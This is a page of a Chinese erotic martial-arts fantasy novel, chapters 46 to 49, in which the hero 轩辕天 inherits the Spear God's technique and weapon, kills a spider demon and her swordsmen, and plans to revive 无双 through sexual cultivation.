图片载入中

魔神艳传 46~50

特大字】 【大字】 【中字】 【小字

第四十六章 前尘往事

明月当空,微风轻送,观心海上泛起些许鳞波,皎洁月光的映照下,枪神的影子长长投射在地上,孤寂而落寞。

这神一般的男子仰望着满天星斗,缓缓道:“最初的那些日子里,我与媚仙双宿双飞,极尽男欢女爱之事,情到浓时,无意中竟参悟了驻颜不老,青春常在的秘密。”

轩辕天甚为惊讶,只听枪神道:“媚仙自幼精修欢喜天道,一身闺房之术本就天下无双,深得阴阳调和的精要,又与我的自然九枪心法互相印证,终于给她创出冠绝古今的不老神功,要知男为阳体,女属阴身,但纯阳中自有一点阴,是为元阴,纯阴中亦自藏着一点阳,是为元阳,下乘的采补之术,只当拼命吸取对方的阳气或者阴气,便可令自己返老还童,实在是自私之至,愚蠢之至。” “殊不知吸取再多普通的阴阳之气,也只能令自身暂时延缓衰老,而且还会使被采补之人元气大伤,实在是损人不利己的下作法门,而不老神功高明之处不在于取,而在于给,既男女欢好之时全心全意向对方敞开自己,献出自己的元阴和元阳,使之交融通汇,以阳补阴,以阴滋阳。”

“不但可以令对方欲仙欲死,更加可以龙虎交汇,水火相济,重塑生机,肉白骨活死人也不在话下,不老神功心法虽然繁复奥妙无比,但独阳不生、枯阴不长这八个字,却是其精要所在。”

轩辕天暗暗点头,说道:“想来你们恩爱无比,修习神功定然大成了。” 枪神苦笑一声,道:“本应如此,本应如此。”

轩辕天道:“本应?莫非其中另有什么变故么?”

枪神道:“媚仙与我成婚之后,洗尽铅华,甘为良人妇,便如普通的妻子一样,精心服侍于我,但愿在这平凡的生活中,将过去的往事一一忘记,对我用情之深,可见一斑,但我那时风华正茂,风流自赏,以征服天下美女为乐,这样的日子一久,便觉得枯燥无味之极,虽然尚不舍得离她而去,对她的心思却慢慢的淡了,媚仙察觉有异,为了将我留住,竟偷偷怀了一个孩子……”

轩辕天叹道:“她对你当真是爱到了极点。”

枪神眼眶中泛出点点泪光,道:“她怀孕之后,因为怕伤及胎儿,尽量避免与我同房,更加让我觉得乏味无趣,偏偏在这时,媚仙的师姐艳仙找上门来。” 听到此处,轩辕天已隐隐觉得不妥,道:“莫非,莫非你跟这艳仙……” 枪神点点头,道:“不错,这艳仙的容貌与她的师妹相比虽略有不及,但却风骚淫荡之极,她似乎是男人天生的克星,我一见之下便神魂颠倒,再加上当时欲火正旺,因此没过多久,便与她有了肉体之事,这艳仙床上的功夫比媚仙有过之而无不及,令我食髓知味,难以自拔。”

“谁知艳仙美艳如花,心肠却阴险歹毒,她本就是要利用我去盗取不老神功心法,我一时色欲熏心,简直和畜牲一样,竟真的偷出心法,要与她一起私奔,不意临行之时,被我的妻子撞破,她二人顿时动起手来。”

“我妻子的功夫本在艳仙之上,但那时她怀有身孕,元气不足,一个失神竟被艳仙打得心脉断绝,但艳仙也受伤不轻,急匆匆逃逸而去,临走时还不忘带去了那部被撕扯得残缺不全的不老心经。”

轩辕天听枪神诉说往事之时,声音不住微微颤抖,显然心中极为伤痛,不由得顿生同情之意,道:“既然是伤心惨事,不说也罢。”

枪神摇摇头道:“再不说恐怕就没机会了。”

轩辕天一愣,不知他此言何意,枪神已继续说道:“我的妻子心脉断绝,眼见是不能活了,我方知自己铸下了不可弥补的大错……”

枪神说道此处,手臂一挥,宽袍大袖迎风舞动,轩辕天只觉得眼前一花,周围的景物变成了登月楼下面那隐秘的石室,与自己先前所见一般无二,只是四周没有历代不老神仙的肉身,地下也没有那幅将自己吸入时间结界的图画,只见石室内跌坐着一个怀孕的妇人,旁边一名绝世美男子正跪在她面前痛哭流涕,轩辕天仔细一看,不禁对枪神惊叫道:“这,这不是你么?”

枪神点点头道:“正是我和我的妻子媚仙,只不过你看到的是千年前的幻影罢了。”

轩辕天瞪大了双眼,只见那媚仙虽然因为怀孕,腹部高高隆起,看不出原来身材如何,但容貌却美到了极点,一举一动之间放射出的荡人心魄的风情,竟不似凡间人物。轩辕天明知这是幻象,却还是禁不住目眩神驰,热血沸腾。 只见幻境中的媚仙脸色煞白,没有一点血色,冷冷的对枪神道:“你好啊,你对得起我啊。”

枪神蜷缩在她面前,浑身不住颤抖,哭道:“是我不好,我该死,求你给我一个机会让我补偿。”

媚仙忽的纵声大笑,手抚着自己的腹部道:“补偿?我为你抛弃了一切,你用什么来补偿?我们的孩子也要随我而去,你用什么来补偿?”

枪神痛苦的说不出话来,双手拼命撕扯着自己的头发,一滴滴鲜血从眼眶中流出。

媚仙摇摇头道:“晚了,一切都晚了,我不会原谅你,死都不会!”

她双臂大张,用充满无边怨毒的声音道:“以我破碎的心和我爱儿即将逝去的生命为诅咒,布下无休止的结界,永远封印这负心无情的男人,让他在时间轮回中受尽良心的谴责和煎熬吧。”

随着媚仙念动咒语,枪神跪着的地面开始扭曲变形,一道强大的力场在凄惨凌厉的叫声中出现,周围的空气随着力场的转动而急速旋转起来,将枪神撕扯得支离破碎,一股脑吸入漩涡之中,白光闪过,枪神已经无影无踪,地面上只留下了那奇怪的图画。

发出了凝聚毕生功力的诅咒后,媚仙全身的血管开始爆裂,无数细小的血箭从她身体上射出,鲜红的血泪顺着脸颊流淌在地面的图画之上,她轻轻抚摸着那浸润在鲜血中娇艳欲滴的花朵道:“我就要走了,永远离开这个伤心的世界,而你,还要在无穷无尽的痛苦中挣扎哭喊,如果有一天,一个男子肯为他的女人抛弃生命,用他炙热的鲜血冲洗这无边的怨毒,或许,你就可以安息了。” 说完这泣血之言后,媚仙一挥掌,重重击在自己天灵之上,顿时七窍喷血,魂飞魄散,娇躯缓缓向后倒下。轩辕天大叫一声,伸手向她扶去,手指还未碰到她的衣角,媚仙的幻象已经开始模煳变形,逐渐淡去,周围的一切也随之烟消云散,便如春梦了无踪,不留下一丝痕迹。

这人伦惨剧让轩辕天心中震撼得无以复加,伸出的双手一时竟忘了收回,虽然已过了一千年,媚仙那伤心欲绝的哭喊声似乎仍在小岛上回响,断魂人的血泪在时空中亘古不变的飘荡,他不敢回头,因为他不知道用什么语言来安慰枪神。 良久,良久,才听得枪神的声音缓缓道:“一千年,我便是在这一幕中滞留了一千年,无日无夜不在媚仙死前的面容和我未出世孩子的哭喊声中挣扎。” 轩辕天虎目含泪,道:“便是天大的罪过,千年的折磨也足够偿还了,你,你也不必再自责了。”

枪神道:“是你的鲜血荡涤了媚仙的怨恨,让我终于得以解脱,你说,你不是我难以报答的大恩人么?”

轩辕天道:“这只不过是因缘巧合罢了,我不要你报答什么,只想请你把我送出去,我要去救无双。”

枪神笑道:“你是自己进来的,当然要自己出去。”

轩辕天狠狠在地上重击一拳道:“可恨我本领低微,没有这个本事,否则,无双也不会身中剧毒,力神大哥他们也不用受到残酷的折磨了。”

枪神慢慢踱步至湖边,眼望着辽阔如海,平整如镜的水面,轻轻吟道:“一切恩爱会,无常难得久。生世多畏惧,命危于晨露。人的生命便如早晨的露珠,随时都有幻灭的可能,要想立于不败之地,只有自己做最强者!”

他与轩辕天讲话以来,一直都是谦和冲淡,忽然语气一变,充满了睥睨天下的霸者之风。

轩辕天擡眼望去,月色下,枪神本已修长高挺的身影似乎在不断膨胀,刹那间雄伟如山,遮天蔽日,身体周遭闪烁着一层火焰光影,双目如电,摄人心魄,这一瞬间,他再不是为情所伤的痴心人,而是顶天立地无所畏惧的枪中之神。 轩辕天被他的气势所感染,不由自主地站立起来,高高的挺起了胸膛。 枪神道:“看清楚,这是我最后一次使枪了。”

话音未落,他已化作一道白光,电射至观心海中央。

登月楼石室中,无双静静躺在冰冷的地面上,生机已完全消失。

三魂气魄从她七窍中钻出,组成一个若隐若现的姬无双幻影,在空中飘飘荡荡,无所依凭,正要随风而去的时候,摆放在石室四周的历代不老神仙肉身忽然一阵颤抖,每具肉身的印堂都射出一道五彩流光,将魂魄牢牢罩住,送入躺倒在地的姬无双泥丸宫中,十数道流光溢彩将其笼罩在内,魂魄再不能逃逸而去。 与此同时,萧娘本已破碎不堪的断肢中,钻出了无数大小各异的蜘蛛,“嘶嘶”乱叫声中,一只体形巨大的蜘蛛忽然“波”的一声炸开来,飞溅出浓浓的液体,随即“波波”两声,又有两只蜘蛛爆裂,只听响声越来越密集,便如爆竹炒豆一般,片刻之间无数蜘蛛尽皆炸裂,腥臭之气大作,碧绿色的毒液流满地面,那一块块浸泡其中的尸体开始奇异蠕动,逐渐向一起靠拢。

第四十七章 九绝神枪

枪神巍然屹立在观心海上,纵声长啸,平静的水面狂风大作,波涛被一股巨力推动,翻卷着向四周涌去,湖心水面出现一个极大漩涡,惊天动地的龙吟从水下传来,巨浪翻开处,一条墨黑长枪疾电般窜出水面,在空中急速盘旋游走。 枪神双手一招,那大枪已钻入掌中,枪身长丈二,粗五分,隐有花纹,通体黑沈沈得如同墨玉,坚硬中又带有极强韧性,枪头二尺一,宽六分,枪嵴两边各有一道菱形凹槽,枪刃宽约二指,雪亮耀眼恰似烈日当空。

枪神高声喝道:“声震八荒,光耀六合,天上地下,唯我独尊。破天式——刺!”

龙吟声再起,大枪冲天疾刺,周围的空气承受不住这毁天灭地的威力,发出“呲呲”的哀号,湖水被刚猛无匹的气流带动,形成一条巨大的水龙冲天而起,刹那间天地变色,风卷云涌,声势威猛如神。

只听枪神又叫:“穿日式,钻!”

他双手一搓枪身,枪尖疾转,水龙本已升到最高点,这时又借转动之力,急速盘旋飙升,枪体与空气剧烈摩擦,竟将湖水蒸发出一缕缕白气,旋转的龙身将湖水带动的不住翻卷。

上升之势未衰,枪法已变:“裂地势,拍!”

水龙一声怒吼,龙尾倒抽,重重击打在湖面上,“轰隆”巨响中,湖面裂作两半,激起的滔天巨浪形成两道巨大水墙,这一拍之力足可噼山裂地。

“断月式,扫!”

大枪横摆,激起一道绝强气劲,罡风将水墙一切为二,在空中炸裂,水花四溅。

“暴雨式,点!”

枪神手腕微动,枪尖猛颤,幻化出无数光点,每一光点分毫不差的刺中每一点水珠,精妙奇准至斯!

轩辕天站立湖心岛上,早已看的目眩神驰,天下竟有这等枪法?不,这已不是人间的枪法,直如九天神龙下凡,威不可挡。

枪神足踏巨浪,在漫天水光中穿行,雪白长衫随风舞动,猎猎作响,竟不沾一点水渍。他右手反握枪身,左手捏决,居高临下喝道:“疾电式,扎!” 大枪向湖中虚点,只见数十道气劲耀出雪亮的光芒,如金蛇乱舞,灵动诡异的没入湖中不见,漆黑如墨的幽深湖水忽然电光闪动,数十道耀眼的水柱疾射而起,在空中以不可思议的角度飞舞盘旋。

枪神哈哈大笑道:“好久没这么痛快了。飘雪式,粘!”

枪式陡然变缓,大枪东一划,西一带,毫无章法,与前几式相比简直不可同日而语,轩辕天正惊疑间,忽然心头一跳,只见这飘雪式似乎轻飘飘毫无力道,但仔细再看,枪尖划过之处,竟然出现一道道真空力场,飞舞在空中的湖水被力场牵引,随着枪尖缓缓移动,轻灵如羽,却又凝重如山。

轩辕天正沈醉于那似真似幻的意境之中,枪神一声大吼,道:“雷动九天,群邪遁避,惊雷式,震!”

大枪飞速旋转,瞬时发出阵阵雷鸣,雷声越来越响,到得后来,轩辕天只觉那惊雷便似在自己脑中炸开,相隔虽极遥远,却也禁不住头晕眼花,脚步虚浮,湖面受到巨大声波能量的震动,平平擡高了丈许,轰轰雷声中,洒下万千水滴。 枪神沈声道:“最后一招,狂风式,卷!”

大枪舞动,抖出龙卷风般的漩涡,漫天水滴被席卷而入,无一漏网,漩涡中水滴汇聚成一只水球,含而不落,大枪越转越快,水球越来越大,整个观心海水面几乎下降一半,枪神一声暴喝,巨大的水球腾空飞起,至极顶时蕴含的绝大力道才猛地释放出来,便如晴天打了个霹雳,洪涛巨浪狂泻而下,震惊万里。 枪神于风急浪高处站立,手中倒提墨黑大枪笑道:“破天裂地,穿日断月、疾电惊雷、狂风暴雨,飘雪无边,这便是我生平最得意的——九绝神枪术,你可记住了?”

轩辕天半晌才从他天神显圣般的枪法中清醒过来,喃喃道:“如此神枪,简直可以定夺万物的生死。”

枪神点头笑道:“不错,不错,挟天地之威,操生死之事。”

他将手中大枪平平举至胸前,道:“此枪命唤墨龙,传说乃是亿万年前九天神龙所化,当年我一人一枪,横扫天下,嘿……”

他手腕轻扬,墨龙神枪如黑电般射来,笔直插入轩辕天面前的土地中,隐隐夹带着低沈的龙吟之声。枪神缓缓道:“如今我要它也无用了,希望你能善用此枪,它被埋没了千年,今天才有重现神威的时候。”

轩辕天想起一事,不禁说道:“你,你要去了么?”

枪神点点头,道:“去了,去了,一切灰飞烟灭,希望来生再与媚仙做夫妻吧。你灵气充盈,福泽深厚,今后作为不可限量啊。”

说着,他的身体开始虚化,冒出缕缕青烟。

轩辕天急道:“枪神,请你告诉我,要怎样才能回到我的世界里?”

此时枪神已消失不见,空中隐隐约约传来他的声音:“从哪里来……就回哪里去……”

轩辕天不明所以,呆呆说不出话来,白色月光给世间万物罩了一层清冷的光辉,微微荡漾的湖水映出轩辕天孤独的身影,他迷茫的望着繁星浩淼的夜空,闪烁的星辰也不能给他指引迷途。

微风轻轻吹过脸颊,似乎带来一声隐约的叹息,他猛回头,身边空无一人,只有墨龙神枪永不屈服的插在地下,伸手轻轻抚摸神枪,一股奇异的感觉由粗长的枪身传到手里,那是一种说不出来的感觉,似乎这不仅仅是一柄长枪,而是蕴含了巨大灵性和能量的生命体。

这一瞬间,轩辕天不再感到孤独无助,墨龙神枪内的能量缓缓流过他全身,便如多年熟悉的老友给了他信心和力量。

轩辕天站立湖心小岛,闭上双目,脑海中一片空明,不存丝毫杂念,灵觉如水银泄地,缓缓溢出体外,与周围一草一木,一沙一石的思感互相碰撞交融,饥渴的探知着它们蕴藏的无穷奥秘,刹那间光风齐月,明心见性,枪神临走前的话语回响在脑海中:“从哪里来,就回哪里去。”

轩辕天的嘴角露出一丝微笑,猛地双目张开,冷电四射,伸手拔出插在地上的墨龙神枪,腾身跃在空中,龙吟虎啸般一声大吼,九绝神枪术使出,顿时风起云涌,天地变色。

*** *** *** ***

登月楼石室中,萧娘破碎的肢体贪婪吸收着群蛛的妖力,逐渐向一起聚拢,不多时,上下两截断肢已黏合在一起,原本雪白的肌肤,因饱含毒液变得惨绿慎人,灰白的脸上泛起一层妖异的邪光,眼珠开始微微转动,喉咙里也发出阵阵叫声,石室中的腥臭之气越来越浓,弥漫在整个空间。

萧娘的手指曲了曲,随即四肢抽搐,肉体如波浪般起伏,咕的一声大叫,她的身体直绷绷弹跳而起,关节扭动发出叭叭的声响,几只蜘蛛从她胸口爬出,被她长舌卷入嘴中,嚼得咯吱作响,萧娘双眼一张,绿油油的目光盯住不远处一动不动的无双,桀桀怪笑声中,扭动着变形的身躯,向无双走去。

*** *** *** ***

时间结界里,湖心小岛被四射的电光笼罩,轩辕天手舞大枪,进退若神,这一枪攻出,如羿射九日,雷霆震怒,那一枪卷回似天帝驭龙,江海凝光,到得后来,已分不出哪个是人,哪个是枪,狂风唿啸阴雨霏霏中,只见一条墨黑巨龙在空中盘旋飞舞,从破天式直到飘雪式,九绝神枪术在轩辕天手中越使越顺,带起的飓风将小岛周围湖水高高卷起数十丈,直如天崩地裂一般。

轩辕天舞得兴发,九式变化之间圆转如意,浑然一体,只听他炸雷似的一声大喝:“破天裂地,给我开!”

灌注了绝大神力的墨龙枪噼下,速度竟然比身边的闪电还要快,空气被撕扯开一道裂痕,扭曲时空的力场出现,轩辕天纵身跳入那不住转动的漩涡之中,四周的景物开始发生变化……

萧娘站在无双身前,阴笑道:“可惜啊可惜,威震天下的不老神仙竟这样死去了,不过这肉身倒是美得很,不如拿来做我的皮囊吧。”

她双手疾探,势要将无双开膛破肚。

突然,地面颤抖起来,石室中央的空间不住扭曲律动,萧娘大惊,急忙飞退三尺,全神戒备,前所未有的莫名恐惧在她心中滋长。

一个高大如山的影子逐渐清晰起来,衣衫褴褛,破烂不堪,但裸露出的肌肉却强健如巨岩,几缕黑发斜斜搭在前额,两道浓眉下的双眸放射着穿云疾电般冷冽的目光,一条丈二大枪横架肩头,英俊超凡的脸上挂着些许邪异的笑容,正是从时间结界中脱困的轩辕天。

萧娘颤声道:“你,你不是死了么?怎会……”

她难以抑制心中的恐慌,强烈的无力感占据了她的身体,从第一眼看到轩辕天,她就有这种不知由来的不安,片刻未曾消失,而此时面对着他,那逼人的气势更令萧娘浑身不舒服。

轩辕天眼角偷瞥躺在地上的无双,虽焦急万分,但他知道不除去萧娘这阴毒恐怖的女人便无法顺利救人,遂向前横跨一步,冷冷道:“不错,老子是死了,变成了地狱的勾魂使者,来要你这狠毒妖妇的命!”

萧娘笑道:“好人儿,不要跟我开玩笑了,真难为你中了莫九的穿心一剑,居然还能不死,不过那也是迟早的事情罢了,别说是你,便真是勾魂使者,老娘也要你魂飞魄散!”

她说话时笑容满面,下手却毒辣之极,毫不容情,身躯扭动间,无数剧毒蜘蛛怪叫着飞向轩辕天,距离数尺之遥,已有一股强烈腥臭气扑鼻而来。

轩辕天嗤笑道:“这小小伎俩,也敢拿出来献宝么?”

他身形不动如山,双臂轻扬,暴雨式疾点即收。

萧娘只觉得眼前突然爆出万千细小光点,刹那间一闪而没,而自己放出的毒蜘蛛如雨点般落下,每只蜘蛛肚皮上竟有米粒大小的枪眼。萧娘虽极力抑制,依然忍不住惊唿出声,道:“这,这是什么枪法?”

轩辕天神色冷然道:“下地狱去问阎王吧!”

长枪以快的不可思议的速度刺出,枪尖摩擦空气发出“嗤嗤”之响。

萧娘脸上变色,一边飞退一边放出厚厚蛛丝软索,缠向墨龙神枪,谁知那枪中蕴含的力量实在是大得惊人,“啪啪”声响,大枪破索而出,竟不稍稍缓慢,直奔萧娘小腹而来。萧娘身手也算得敏捷之至,硬生生向旁一闪,避开了破腹之险,胯部却被锋利无比的枪刃划出一条深深伤口,粘稠的绿色液体“嘀嘀嗒嗒”的流淌出来。

轩辕天皱眉道:“你到底是什么东西?我今天就把你打回原型!”

墨龙枪一摆,向萧娘刺去。

萧娘闪身避开,眼中凶光暴涨,放声狂叫道:“地狱蛛神,现我真身,追魂魔索,护法结阵!”

只见她全身衣衫尽褪,肚脐中喷出无数粗大白色蛛丝,密密麻麻铺天盖地向轩辕天笼罩过来,轩辕天足下轻点,退在一旁,再看石室中已生出一张巨网,顶端匍匐着一头巨大的半人半蛛怪物,上身肉体丰满雪白,双乳颤动,肋旁八只黑色螯足,钢毛茸茸,肢节众多,拖着一个圆鼓鼓的黑色大肚子,口中“吱吱”乱叫,向轩辕天张牙舞爪的扑来。

轩辕天厌恶之极,喝道:“你这个丑八怪,我今天要你碎尸万段!”

墨龙枪临空下击,疾电式在小小石屋中迫出万道金蛇盘旋飞舞,那蜘蛛晓得厉害,不敢硬接,怪叫一声,肚脐喷出无数蛛丝,如同触角一般卷向轩辕天。 轩辕天冷笑一声,手中枪式不变,只见强劲电流噼下,蛛丝登时被灼成了灰烬,蜘蛛怪眼见不敌,八足上下翻飞,夺路便逃,轩辕天怎能让她如愿,九绝神枪术中极为刚猛的穿日式使出,墨龙枪急速旋转,如同一道闪电直刺蜘蛛怪。 那蜘蛛怪狡猾异常,看出轩辕天虽枪法惊人,但实战经验不足,所以故作逃跑之状,实则另有图谋,轩辕天果然上当,挺枪刺来,蜘蛛怪身子一缩,反向石室内奔去,墨龙枪如影随形追来,眼见就要将它刺个对穿,蜘蛛怪蛛丝翻动,将石室角落中的无双卷起,挡在身前。

轩辕天大吃一惊,收招不及,百忙中枪身急转,穿日式化作飘雪式,枪尖带出极强粘力,将无双的身体轻轻扯入怀中。

轩辕天左臂紧抱无双,右臂抡动墨龙枪,他恨极这丑陋阴险的怪物,下手再不容情,狂风式祭出,将它裹在其中,只听蜘蛛怪连声惨叫,已被利刃般的罡风绞碎,化作一团血雾。

九绝神枪术牛刀小试,已有如此惊人威力,轩辕天却顾不得高兴,将墨龙神枪往地上一戳,急忙察看无双伤势,哪想一看之下,顿时惊的魂飞魄散。 第四十八章 希望之火

轩辕天抱着无双娇小的身体,不久前还是一个活生生的女人,会对他哭,会对他笑,在他耳边说着荡气回肠的话语,甚至为了他不惜身犯险境,现在却无声无息的躺着,任凭他如何唿叫,再也不应一声,天意真得如此弄人么?

轩辕天心如刀绞,眼泪如断线珠子一般滴落下来,打湿了无双俏丽而苍白的面庞,他低下头,轻轻吻着无双冰冷柔软的嘴唇,忽然一个发现使他喜出望外,无双的身体竟然奇迹般的没有僵硬!

他在无双身体上碰触着,果然,柔软如棉,甚至颇富弹性,死人是绝对不会有这样的肌体反应的。

心年一动,思感涌入无双体内探查,发现她肢体虽然毫无生机,但印堂泥丸宫之内却有一点灵气不散,轩辕天心中燃起了希望的火焰,深深吸了口气,道:“无双,不管怎样艰难,我也要把你救活!”

猿臂轻展,将无双搂起,提着丈二墨龙,飞身跃出石室。

不知何时,外面已下起了瓢泼大雨,豆大的雨滴从天空洒落,一众剑士肃立登月楼下,身体如标枪般挺直,虽然全身湿透,却不敢稍有怠慢之意。

两名剑士首领手提长剑,正翘首以盼。一人嘀咕道:“怎的尊者他们去了这许久还不回来?怕是有什么变故吧。”

另一人笑道:“以盘丝尊者和笑面菩萨的本事,再加上那个不死不活的怪物怎么会有事呢,你不要杞人忧天了。”

先前那人摇头道:“不老神仙的功夫可不是他们能对付的,我心里总觉得不妥,似乎有事要发生。”

后面那人道:“莫再胡思乱想了,她终究不是真神,中了那样的剧毒,岂有活命的道理?等尊者取了她的首级,大伙儿再好好的乐一场,嘿嘿,燕营那帮小娘们真是要人老命啊。”

他正色心大动,说的口沫横飞之际,忽见同伴直勾勾盯着后面,嘴巴张的老大,脸上充满惊骇欲绝的神色。

他不由得吓了一跳,回头看去,此时天空中响起了震耳欲聋的炸雷之声,大地也随之颤抖,一道闪电划破漆黑的暗夜,借着那瞬间的光亮,众人看到一个高大如神的人影,威武的站在湖心小岛之上,肩扛一柄丈二大枪,狂风暴雨中,杀气冲天,令人望之胆寒。

众剑士纷纷惊唿出声,小小湖心岛上站立了上百人,竟无一人看到他从何处而来。一名首领仗着人多,硬起头皮喝道:“什么人在这里装神弄鬼……” 话音未落,那人手中已闪起了耀眼电光,首领摔倒在地,咽喉上一个窟窿在“咕嘟咕嘟”的喷着鲜血,眼见是不能活了。

又是一道耀目闪电,众剑士眼前一花,那人已无声无息来到面前,行动之飘忽迅速犹如鬼如魅,英俊的脸上布满萧杀之气。

众剑士中有眼力好的大叫道:“原天,这不是原天么?”

那首领心中不禁一宽,虽知原天神勇异常,但己方人多势大,却也不怕,如果能把他擒获,在尊者面前还是大功一件。

呛啷声响,首领长剑出鞘,叫道:“好哇,自动送上门了,给我拿下!” 众剑士发一声喊,顿时剑光闪动,向轩辕天扑来。

轩辕天本就心痛无双之死,胸中一腔怨气正无处发泄,见他们上来送死,大喝道:“来的好!”

墨龙枪一摆,杀将过去,小小的湖心岛上顿时血肉横飞,鬼哭狼嚎。

力神等人身险囹圄,逃生无望,自知不免一死,只是担心不老神仙和小天的安危,还有这神仙城的存亡,心中正戚戚不安之时,突听外面喊声震天,惨叫不绝,似乎正经历着一场大屠杀,过了没多久,一切忽然又重归平静,力神等人面面相觑,不明所以。

“哐”的一声巨响,牢房厚重的铁门激射飞出,从外面闪进一个人来,身高腿长,手持长枪,正是轩辕天。

力神等不禁又喜又忧,喜的是轩辕天尚安然无恙,忧的是他二次救人,恐怕再难逃出生天。

万花蝶急得大叫:“小天,你怎么又回来了!这龙潭虎穴你闯不得啊!” 轩辕天微微一笑,墨龙枪轻挑,缚在他们四肢上的粗大蛛丝应手而断。 力神、寒冰燕和万花蝶此时方得解脱,惊喜交加,力神道:“好兄弟,外面的情况如何?你可见到城主了?”

轩辕天勉力挤出一个笑容道:“不用担心,敌人已经被我杀了。”

力神三人一听,脸上露出不可置信的神色,但知道他绝不会谎言向骗,想必是有什么奇异的事情发生了。

三人暗暗松了口气,此时才注意到轩辕天怀中抱着一个女人,一头乌黑长发垂落,遮住了面庞,蜷缩在轩辕天怀中一动不动。

万花蝶轻声道:“小天,你可知道城主的下落么?”

轩辕天心中一阵疼痛,道:“现在不是说话的时候,你们身上剧毒未解,一切等我帮你们驱毒之后再说。”

寒冰燕看看他怀中的女人,心头一阵发凉,她心思敏感细密,已隐隐猜到几分,不由得颤声问道:“城主她,她可是出了什么意外么?”

轩辕天摇头不答,将无双轻轻放在地上,沈声道:“你们闭目静坐,心中不可存一丝杂念,我要开始运功了。”

力神三人虽急切想知道不老神仙的下落,但轩辕天的话语中自带一种不可抗拒的威严,三人便暂且抛下一切,盘腿端坐,不多时,脑海中一片空灵。 轩辕天站立于三人身后,他全身经脉被枪神打通后,已进入先天的境界,体内水火之能量充沛至极,只见他双掌翻飞,快捷无伦的击打在三人后背,水之神力灌注而入,护住三人心脉,再以火之神力猛攻他们体内毒素,不到一盏茶的时分,三人齐齐喷出一口淤血,腥臭无比的汗珠从毛孔不断涌出。

火之神力将他们体内最后一丝毒素燃烧殆尽,缓缓被轩辕天收回,水之神力却在三人四肢百骸中不住游走,修补着被毒质侵蚀的经脉。

没过多久,力神三人便觉得体内剧痛尽去,全身温暖舒畅,甚至比未中毒之前更加精力健旺。

轩辕天同时替三人驱毒,面色却一如往常,举手投足之际大是挥洒如意,力神三人不由得暗暗惊奇。

剧毒已驱除干净,力神最是性急,忙不叠询问不老神仙的所在,轩辕天将无双抱起道:“这便是你们的城主了。”

三人大惊失色,急忙围拢上来,却见无双早已气息全无了,除了身体并未僵硬,与死人已经一般无异。

寒冰燕与万花蝶抱着无双失声痛哭,力神须发根根上指,双眼几乎流出血来了,颤声道:“兄弟,这到底是怎么回事?”

轩辕天将经过大概讲述一遍,三人被其中这许多曲折离奇震惊的说不话来,脑中一片空白。

轩辕天紧皱双眉,低头沈思不语,三人不知他所想何事,但看他神色凝重至极,也不敢打搅。

过了良久,轩辕天擡起头来,缓缓道:“或许,无双还有的救。”

万花蝶轻声啜泣道:“小天,人死不能复生,怎么还救的活啊。”

力神与寒冰燕虽然默默不语,但也绝不相信他能令不老神仙起死回生。 轩辕天道:“无双虽全身血脉停止流转,也没有了气息,但我察觉她印堂之内有一点灵气凝而不散,肢体也并未僵硬,真正死去的人绝不会是这个样子。” 此言一出,力神三人心中生出一丝希望,力神道:“要如何才能救的城主性命?”

万花蝶忽道:“对了,据说玉莲宝珠圣主的极乐九重天已臻化境,或许她有这个本事。”

随即又黯然道:“只是远隔千山万水,恐怕来不及了。”

轩辕天道:“我记得枪神曾经对我说过不老神功的精要,元阴和元阳交融通汇,以阳补阴,以阴滋阳,使之龙虎交合,水火相济,当可肉白骨,活死人,重塑生机。”

力神一拍大腿道:“老之极点为死,反之为生,不老神功能令人返老还童,或许真的可以使城主起死回生!”

万花蝶精于采补之术,闻听之下不禁道:“我明白了,你是想借男女交合之际,用你的元阴引出城主的元阳,然后以你的生命精气灌注其中,再造生机,对么?”

轩辕天微笑道:“蝴蝶,你当真聪明得很,我正是要如此。”

力神听得大有道理,心中放宽不少,拍拍轩辕天肩膀道:“你才聪明呢,居然能想出这样的法子,看来大有希望啊。”

一直在旁聆听静坐不语的寒冰燕忽然冷冷道:“你们高兴得太早了吧。” 众人一愣,不知她此言何意。

寒冰燕皓首低垂,避开轩辕天投射过来的目光,道:“你们不要忘记,城主虽灵气不灭,但其实是已死之身,体内阴阳早绝,又哪来的元阳被你吸引。” 轩辕天心中剧震,自己只想到如何救治无双,却忽略了这个最基本的问题,力神和万花蝶也面面相觑,说不出话来。

刚刚燃起的一点希望希望之火转瞬间破灭,人人沮丧到了极点,一时间气氛沉重压抑的令人窒息。

轩辕天痛苦的揪着自己的头发,嘶哑的道:“莫非真是天意如此么?我不甘心!”

忽然,万花蝶咯咯咯的笑了起来,众人只当她神志迷乱,却听她道:“城主元阳断绝,但我们可以借他人元阳植入城主体内啊。”

轩辕天心脏“砰砰”狂跳,将她的话仔细想了一遍,猛地纵身将万花蝶抱在怀中,连连亲吻她朱唇,放声大笑道:“我的好蝴蝶,你真是聪明绝顶,绝顶聪明,我怎么就想不到呢,不错,借他人元阳为无双所用,简直妙极了,哈哈。” 力神也喜出望外,手捋钢髯,高兴的说不出话来。寒冰燕心中自然也是无比欢欣,但看轩辕天和万花蝶搂抱在一起亲热的样子,心头不由得一阵发酸,鼻中轻轻哼了一声。

万花蝶促狭的笑道:“燕师姐,你不要冷眼旁观啊,救治城主的关键便在你身上。”

寒冰燕冷然道:“你这话什么意思?我不明白。”

轩辕天和力神也心中好奇,只听万花蝶道:“这一点元阳自然是从你那里借来啊。”

寒冰燕俏脸如罩严霜,道:“不要跟我开这样的玩笑,你们……”她瞥了一眼轩辕天道:“你们不是很好么,何必要跟我借,我可不想跟他……”

话到这里,冰冷的脸上忽然飞出两抹红晕,再也说不下去。

万花蝶知道这冰燕子面冷心热,道:“我被他借自然求之不得,只不过我已是残花败柳之身,这造命元阳必须精纯无比,半点杂质沾染不得,因此只能从未经人事的处子体内借来方能生效。”

此言一出,轩辕天和力神的目光一齐盯在寒冰燕身上,其中含义不言自明。 寒冰燕咬着下唇,羞红从脸颊一直延伸到胸脯,那三个人贼兮兮的眼光在自己身上不停打量,实在不知如何是好,她猛然跳了起来,低着头跑出门外。 第四十九章 冰山消融

此时天色微明,东方显出一抹鱼肚白色,雨后的天空晴朗透彻,敌人的鲜血已经被冲刷得干干净净,空气中弥漫着芳草与泥土的清新气息,寒冰燕俏立观心海畔,湖面微波不起,仿佛一面巨大的镜子泛着点点鳞光,湖边人儿的思绪却如同巨浪汹涌,久久不能平静。

身后脚步声响起,寒冰燕脸上发烫,一颗心几乎要跳出胸腔。

“是那冤家么?他,他来找我了。”

既渴望又害怕的复杂心情让寒冰燕不知所措,一向冷静镇定的她也不由得手心出汗,全身微微颤抖。自从那晚伤了轩辕天之后,寒冰燕便一直不敢面对他,午夜梦回,曾经多少次泪洒衣襟。

“他会来抱我么?我要如何是好……”

